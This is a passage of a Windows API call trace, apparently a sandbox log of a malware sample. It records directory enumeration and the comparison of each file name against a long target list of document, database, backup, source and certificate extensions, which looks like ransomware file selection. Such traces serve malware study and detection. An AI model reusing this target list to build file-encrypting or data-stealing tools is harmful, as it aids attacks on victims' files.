	[0060.595] lstrlenW (lpString=".nef") returned 4
	[0060.595] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1
	[0060.595] lstrlenW (lpString=".nrw") returned 4
	[0060.595] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1
	[0060.595] lstrlenW (lpString=".obj") returned 4
	[0060.595] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1
	[0060.595] lstrlenW (lpString=".odb") returned 4
	[0060.595] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1
	[0060.595] lstrlenW (lpString=".odc") returned 4
	[0060.595] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1
	[0060.595] lstrlenW (lpString=".odm") returned 4
	[0060.596] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1
	[0060.596] lstrlenW (lpString=".odp") returned 4
	[0060.596] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1
	[0060.596] lstrlenW (lpString=".ods") returned 4
	[0060.596] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1
	[0060.596] lstrlenW (lpString=".oft") returned 4
	[0060.596] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1
	[0060.596] lstrlenW (lpString=".one") returned 4
	[0060.596] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1
	[0060.596] lstrlenW (lpString=".onepkg") returned 7
	[0060.596] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1
	[0060.596] lstrlenW (lpString=".onetoc2") returned 8
	[0060.596] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1
	[0060.596] lstrlenW (lpString=".opt") returned 4
	[0060.596] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1
	[0060.596] lstrlenW (lpString=".oqy") returned 4
	[0060.596] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1
	[0060.596] lstrlenW (lpString=".orf") returned 4
	[0060.596] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1
	[0060.596] lstrlenW (lpString=".p12") returned 4
	[0060.596] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1
	[0060.596] lstrlenW (lpString=".p7b") returned 4
	[0060.596] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1
	[0060.596] lstrlenW (lpString=".p7c") returned 4
	[0060.596] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1
	[0060.596] lstrlenW (lpString=".pam") returned 4
	[0060.596] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1
	[0060.596] lstrlenW (lpString=".pbm") returned 4
	[0060.596] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1
	[0060.596] lstrlenW (lpString=".pct") returned 4
	[0060.596] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1
	[0060.597] lstrlenW (lpString=".pcx") returned 4
	[0060.597] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1
	[0060.597] lstrlenW (lpString=".pdd") returned 4
	[0060.597] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1
	[0060.597] lstrlenW (lpString=".pdf") returned 4
	[0060.597] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0060.597] lstrlenW (lpString=".pdp") returned 4
	[0060.597] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1
	[0060.597] lstrlenW (lpString=".pef") returned 4
	[0060.597] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1
	[0060.597] lstrlenW (lpString=".pem") returned 4
	[0060.597] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1
	[0060.597] lstrlenW (lpString=".pff") returned 4
	[0060.597] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1
	[0060.597] lstrlenW (lpString=".pfm") returned 4
	[0060.597] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1
	[0060.597] lstrlenW (lpString=".pfx") returned 4
	[0060.597] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1
	[0060.597] lstrlenW (lpString=".pgm") returned 4
	[0060.597] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1
	[0060.597] lstrlenW (lpString=".php") returned 4
	[0060.597] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1
	[0060.597] lstrlenW (lpString=".php3") returned 5
	[0060.597] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1
	[0060.597] lstrlenW (lpString=".php4") returned 5
	[0060.597] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1
	[0060.597] lstrlenW (lpString=".php5") returned 5
	[0060.597] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1
	[0060.597] lstrlenW (lpString=".phtml") returned 6
	[0060.597] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1
	[0060.597] lstrlenW (lpString=".pict") returned 5
	[0060.597] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1
	[0060.597] lstrlenW (lpString=".pl") returned 3
	[0060.597] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1
	[0060.598] lstrlenW (lpString=".pls") returned 4
	[0060.598] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1
	[0060.598] lstrlenW (lpString=".pm") returned 3
	[0060.598] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1
	[0060.598] lstrlenW (lpString=".png") returned 4
	[0060.598] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1
	[0060.598] lstrlenW (lpString=".pnm") returned 4
	[0060.598] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1
	[0060.598] lstrlenW (lpString=".pot") returned 4
	[0060.598] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1
	[0060.598] lstrlenW (lpString=".potm") returned 5
	[0060.598] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1
	[0060.598] lstrlenW (lpString=".potx") returned 5
	[0060.598] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1
	[0060.598] lstrlenW (lpString=".ppa") returned 4
	[0060.598] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1
	[0060.598] lstrlenW (lpString=".ppam") returned 5
	[0060.598] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1
	[0060.598] lstrlenW (lpString=".ppm") returned 4
	[0060.598] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1
	[0060.598] lstrlenW (lpString=".pps") returned 4
	[0060.598] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1
	[0060.598] lstrlenW (lpString=".ppsm") returned 5
	[0060.598] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1
	[0060.598] lstrlenW (lpString=".ppt") returned 4
	[0060.598] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0060.598] lstrlenW (lpString=".pptm") returned 5
	[0060.598] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1
	[0060.598] lstrlenW (lpString=".pptx") returned 5
	[0060.598] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1
	[0060.598] lstrlenW (lpString=".prn") returned 4
	[0060.598] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1
	[0060.598] lstrlenW (lpString=".ps") returned 3
	[0060.598] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1
	[0060.599] lstrlenW (lpString=".psb") returned 4
	[0060.599] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1
	[0060.599] lstrlenW (lpString=".psd") returned 4
	[0060.599] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1
	[0060.599] lstrlenW (lpString=".pst") returned 4
	[0060.599] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1
	[0060.599] lstrlenW (lpString=".ptx") returned 4
	[0060.599] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1
	[0060.599] lstrlenW (lpString=".pub") returned 4
	[0060.599] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1
	[0060.599] lstrlenW (lpString=".pwm") returned 4
	[0060.599] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1
	[0060.599] lstrlenW (lpString=".pxr") returned 4
	[0060.599] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1
	[0060.599] lstrlenW (lpString=".py") returned 3
	[0060.599] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1
	[0060.599] lstrlenW (lpString=".qt") returned 3
	[0060.599] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1
	[0060.599] lstrlenW (lpString=".r3d") returned 4
	[0060.599] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1
	[0060.599] lstrlenW (lpString=".raf") returned 4
	[0060.599] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1
	[0060.599] lstrlenW (lpString=".rar") returned 4
	[0060.599] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0060.599] FindNextFileW (in: hFindFile=0x5e02f0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0060.599] FindNextFileW (in: hFindFile=0x5e02f0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0060.600] FindNextFileW (in: hFindFile=0x5e02f0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0060.622] FindClose (in: hFindFile=0x5e02f0 | out: hFindFile=0x5e02f0) returned 1
	[0060.622] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0060.622] FindNextFileW (in: hFindFile=0x5e0430, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1029", cAlternateFileName="")) returned 1
	[0060.622] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4250058
	[0060.622] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029") returned 26
	[0060.622] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e0870
	[0060.627] FindNextFileW (in: hFindFile=0x5e0870, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0060.627] FindNextFileW (in: hFindFile=0x5e0870, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0060.627] lstrlenW (lpString="eula.rtf") returned 8
	[0060.627] lstrlenW (lpString=".1cd") returned 4
	[0060.627] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0060.627] lstrlenW (lpString=".3ds") returned 4
	[0060.627] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1
	[0060.627] lstrlenW (lpString=".3fr") returned 4
	[0060.627] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1
	[0060.627] lstrlenW (lpString=".3g2") returned 4
	[0060.627] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1
	[0060.627] lstrlenW (lpString=".3gp") returned 4
	[0060.627] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1
	[0060.627] lstrlenW (lpString=".7z") returned 3
	[0060.627] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0060.627] lstrlenW (lpString=".accda") returned 6
	[0060.627] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1
	[0060.627] lstrlenW (lpString=".accdb") returned 6
	[0060.627] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1
	[0060.627] lstrlenW (lpString=".accdc") returned 6
	[0060.628] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1
	[0060.628] lstrlenW (lpString=".accde") returned 6
	[0060.628] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1
	[0060.628] lstrlenW (lpString=".accdt") returned 6
	[0060.628] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1
	[0060.628] lstrlenW (lpString=".accdw") returned 6
	[0060.628] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1
	[0060.628] lstrlenW (lpString=".adb") returned 4
	[0060.628] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1
	[0060.628] lstrlenW (lpString=".adp") returned 4
	[0060.628] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1
	[0060.628] lstrlenW (lpString=".ai") returned 3
	[0060.628] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1
	[0060.628] lstrlenW (lpString=".ai3") returned 4
	[0060.628] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1
	[0060.628] lstrlenW (lpString=".ai4") returned 4
	[0060.628] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1
	[0060.628] lstrlenW (lpString=".ai5") returned 4
	[0060.628] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1
	[0060.628] lstrlenW (lpString=".ai6") returned 4
	[0060.628] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1
	[0060.628] lstrlenW (lpString=".ai7") returned 4
	[0060.628] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1
	[0060.628] lstrlenW (lpString=".ai8") returned 4
	[0060.628] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1
	[0060.628] lstrlenW (lpString=".anim") returned 5
	[0060.628] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1
	[0060.628] lstrlenW (lpString=".arw") returned 4
	[0060.628] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1
	[0060.628] lstrlenW (lpString=".as") returned 3
	[0060.628] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1
	[0060.628] lstrlenW (lpString=".asa") returned 4
	[0060.628] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1
	[0060.629] lstrlenW (lpString=".asc") returned 4
	[0060.629] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1
	[0060.629] lstrlenW (lpString=".ascx") returned 5
	[0060.629] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1
	[0060.629] lstrlenW (lpString=".asm") returned 4
	[0060.629] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1
	[0060.629] lstrlenW (lpString=".asmx") returned 5
	[0060.629] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1
	[0060.629] lstrlenW (lpString=".asp") returned 4
	[0060.629] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1
	[0060.629] lstrlenW (lpString=".aspx") returned 5
	[0060.629] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1
	[0060.629] lstrlenW (lpString=".asr") returned 4
	[0060.629] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1
	[0060.629] lstrlenW (lpString=".asx") returned 4
	[0060.629] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1
	[0060.629] lstrlenW (lpString=".avi") returned 4
	[0060.629] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1
	[0060.629] lstrlenW (lpString=".avs") returned 4
	[0060.629] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1
	[0060.629] lstrlenW (lpString=".backup") returned 7
	[0060.629] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1
	[0060.629] lstrlenW (lpString=".bak") returned 4
	[0060.629] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1
	[0060.629] lstrlenW (lpString=".bay") returned 4
	[0060.629] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1
	[0060.629] lstrlenW (lpString=".bd") returned 3
	[0060.629] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1
	[0060.629] lstrlenW (lpString=".bin") returned 4
	[0060.629] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1
	[0060.629] lstrlenW (lpString=".bmp") returned 4
	[0060.629] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1
	[0060.629] lstrlenW (lpString=".bz2") returned 4
	[0060.629] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0060.630] lstrlenW (lpString=".c") returned 2
	[0060.630] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1
	[0060.630] lstrlenW (lpString=".cdr") returned 4
	[0060.630] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1
	[0060.630] lstrlenW (lpString=".cer") returned 4
	[0060.630] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1
	[0060.630] lstrlenW (lpString=".cf") returned 3
	[0060.630] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1
	[0060.630] lstrlenW (lpString=".cfc") returned 4
	[0060.630] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1
	[0060.630] lstrlenW (lpString=".cfm") returned 4
	[0060.630] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1
	[0060.630] lstrlenW (lpString=".cfml") returned 5
	[0060.630] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1
	[0060.630] lstrlenW (lpString=".cfu") returned 4
	[0060.630] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1
	[0060.630] lstrlenW (lpString=".chm") returned 4
	[0060.630] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1
	[0060.630] lstrlenW (lpString=".cin") returned 4
	[0060.630] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1
	[0060.630] lstrlenW (lpString=".class") returned 6
	[0060.630] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1
	[0060.630] lstrlenW (lpString=".clx") returned 4
	[0060.630] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1
	[0060.630] lstrlenW (lpString=".config") returned 7
	[0060.630] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1
	[0060.630] lstrlenW (lpString=".cpp") returned 4
	[0060.630] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1
	[0060.630] lstrlenW (lpString=".cr2") returned 4
	[0060.630] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1
	[0060.630] lstrlenW (lpString=".crt") returned 4
	[0060.630] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1
	[0060.631] lstrlenW (lpString=".crw") returned 4
	[0060.631] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1
	[0060.631] lstrlenW (lpString=".cs") returned 3
	[0060.631] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1
	[0060.631] lstrlenW (lpString=".css") returned 4
	[0060.631] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1
	[0060.631] lstrlenW (lpString=".csv") returned 4
	[0060.631] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1
	[0060.631] lstrlenW (lpString=".cub") returned 4
	[0060.631] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1
	[0060.631] lstrlenW (lpString=".dae") returned 4
	[0060.631] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1
	[0060.631] lstrlenW (lpString=".dat") returned 4
	[0060.631] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1
	[0060.631] lstrlenW (lpString=".db") returned 3
	[0060.631] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1
	[0060.631] lstrlenW (lpString=".dbf") returned 4
	[0060.631] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0060.631] lstrlenW (lpString=".dbx") returned 4
	[0060.631] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1
	[0060.631] lstrlenW (lpString=".dc3") returned 4
	[0060.631] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1
	[0060.631] lstrlenW (lpString=".dcm") returned 4
	[0060.631] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1
	[0060.631] lstrlenW (lpString=".dcr") returned 4
	[0060.631] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1
	[0060.631] lstrlenW (lpString=".der") returned 4
	[0060.631] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1
	[0060.631] lstrlenW (lpString=".dib") returned 4
	[0060.631] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1
	[0060.631] lstrlenW (lpString=".dic") returned 4
	[0060.631] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1
	[0060.632] lstrlenW (lpString=".dif") returned 4
	[0060.632] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1
	[0060.632] lstrlenW (lpString=".divx") returned 5
	[0060.632] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1
	[0060.632] lstrlenW (lpString=".djvu") returned 5
	[0060.632] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1
	[0060.632] lstrlenW (lpString=".dng") returned 4
	[0060.632] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1
	[0060.632] lstrlenW (lpString=".doc") returned 4
	[0060.632] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0060.632] lstrlenW (lpString=".docm") returned 5
	[0060.632] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1
	[0060.632] lstrlenW (lpString=".docx") returned 5
	[0060.632] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0060.632] lstrlenW (lpString=".dot") returned 4
	[0060.632] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1
	[0060.632] lstrlenW (lpString=".dotm") returned 5
	[0060.632] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1
	[0060.632] lstrlenW (lpString=".dotx") returned 5
	[0060.632] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1
	[0060.632] lstrlenW (lpString=".dpx") returned 4
	[0060.632] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1
	[0060.632] lstrlenW (lpString=".dqy") returned 4
	[0060.632] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1
	[0060.632] lstrlenW (lpString=".dsn") returned 4
	[0060.632] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1
	[0060.632] lstrlenW (lpString=".dt") returned 3
	[0060.632] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1
	[0060.632] lstrlenW (lpString=".dtd") returned 4
	[0060.632] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1
	[0060.632] lstrlenW (lpString=".dwg") returned 4
	[0060.632] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1
	[0060.632] lstrlenW (lpString=".dwt") returned 4
	[0060.633] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1
	[0060.633] lstrlenW (lpString=".dx") returned 3
	[0060.633] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1
	[0060.633] lstrlenW (lpString=".dxf") returned 4
	[0060.633] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1
	[0060.633] lstrlenW (lpString=".edml") returned 5
	[0060.633] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1
	[0060.633] lstrlenW (lpString=".efd") returned 4
	[0060.633] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1
	[0060.633] lstrlenW (lpString=".elf") returned 4
	[0060.633] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1
	[0060.633] lstrlenW (lpString=".emf") returned 4
	[0060.633] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1
	[0060.633] lstrlenW (lpString=".emz") returned 4
	[0060.633] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1
	[0060.633] lstrlenW (lpString=".epf") returned 4
	[0060.633] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1
	[0060.633] lstrlenW (lpString=".eps") returned 4
	[0060.633] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1
	[0060.633] lstrlenW (lpString=".epsf") returned 5
	[0060.633] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1
	[0060.633] lstrlenW (lpString=".epsp") returned 5
	[0060.633] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1
	[0060.633] lstrlenW (lpString=".erf") returned 4
	[0060.633] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1
	[0060.633] lstrlenW (lpString=".exr") returned 4
	[0060.633] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1
	[0060.633] lstrlenW (lpString=".f4v") returned 4
	[0060.633] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1
	[0060.633] lstrlenW (lpString=".fido") returned 5
	[0060.633] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1
	[0060.633] lstrlenW (lpString=".flm") returned 4
	[0060.633] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1
	[0060.633] lstrlenW (lpString=".flv") returned 4
	[0060.633] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1
	[0060.634] lstrlenW (lpString=".frm") returned 4
	[0060.634] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1
	[0060.634] lstrlenW (lpString=".fxg") returned 4
	[0060.634] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1
	[0060.634] lstrlenW (lpString=".geo") returned 4
	[0060.634] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1
	[0060.634] lstrlenW (lpString=".gif") returned 4
	[0060.634] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1
	[0060.634] lstrlenW (lpString=".grs") returned 4
	[0060.634] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1
	[0060.634] lstrlenW (lpString=".gz") returned 3
	[0060.634] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1
	[0060.634] lstrlenW (lpString=".h") returned 2
	[0060.634] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1
	[0060.634] lstrlenW (lpString=".hdr") returned 4
	[0060.634] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1
	[0060.634] lstrlenW (lpString=".hpp") returned 4
	[0060.634] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1
